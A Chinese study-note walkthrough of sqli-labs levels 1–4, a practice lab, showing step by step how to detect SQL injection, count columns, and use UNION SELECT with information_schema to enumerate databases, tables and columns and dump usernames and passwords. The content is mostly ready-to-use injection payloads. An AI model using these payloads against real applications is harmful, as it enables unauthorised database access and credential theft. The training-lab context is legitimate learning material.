SQL注入--sqli-labs（1-4关）
Less_1
查库：select schema_name from information_schema.schemata
查表：select table_name from information_schema.tables where table_schema=’表名’
查列：select column_name from information_schema.columns where table_name='用户名'
查字段：select id,username,password from security.users
Less1，查看是否有注入，使用单双引号包裹‘’
单引号报错，即存在注入漏洞
Limit 0,1 其中第一位是从第几个开始，比如0代表从第一个开始，而第二位的1代表的就是显示多少个数据
SELECT * FROM users WHERE id='1'or 1=1-- ' LIMIT 0,1
其中--+ 或者-- 或者#都是sqli语句，输入它，其后面的语句不在执行；
A and B AB 都为true则返回值为true
A or B AB 其中一个为true则返回值为true；
Order by查看有多少列
对其中的列进行排序，若超过列数则报错。
采用二分法进行参检：
可以看到3不报错，4报错，则只有三列。
判断页面有几个显示位，使用union select语句
句子里并没有任何回显信息，所以将前面数据 注释掉，
使用limit0,1、limit1,1、 limit2,1获得数据库信息
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+
还有第二种方法能够快速获得数据库信息：
使用group_concat函数（将所有数据进行拼接显示在一行）
?id=-1' union select 1,2, group_concat(schema_name)from information_schema.schemata limit 0,1--+
使用?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='security'--+获得security数据库中表的信息
使用单引号容易出现错误，我们使用十六进制：（在security前面加0x，选中security在选择encoding，然后点击hex encoding即可）
?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
使用concat_ws(‘~’,A,B)可以即显示数据库名称，也可以显示数据库密码：
?id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users--+可以查看所有数据名称以及密码
concat_ws('~',username,password）引号容易出错，需要换成十六进制：
Less_01总结：
Less_2
Less2无包裹；
使用单引号存在注入漏洞：?id=1'
less2与less1区别为没有单引号包裹，其他步骤相同；
查看哪些数据可以回显：?id=-1 union select 1,2,3--+
注释还可以使用负数，不止负号，还可以使用超过数据库的数：?id=1231 union select 1,2,3--+
查看所有数据库?id=1231 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查看所有表：?id=1231 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
查看所有列信息：?id=1231 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
查看所有数据对应的名称以及密码：?id=1231 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security .users--+
Less_2总结：
Less-3
Less_3使用(‘1’)包裹，其他步骤与less1和less2相同；
查看有多少列：?id=1') order by 3--+
查看多少数据库名称?id=-1')union select 1,2,group_concat(schema_name)from information_schema.schemata --+
查看所有表：id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看所有列的信息：?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查看所有数据库名称及以及密码：?id=-1') union select 1,2,group_concat(concat('~',username,password)) from security.users--+
Less_4
Less_4使用(“1”)包裹，其他步骤与less1、less2、less3相同；
查看所有数据库：?id=-1”) union select 1,2,group_concat(schema_name)from information_schema.schemata --+
查看所有表：?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看所有列信息：?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查看所有数据库名称以及密码：?id=-1") union select 1,2,group_concat(concat('~',username,password)) from security.users--+
less4总结：
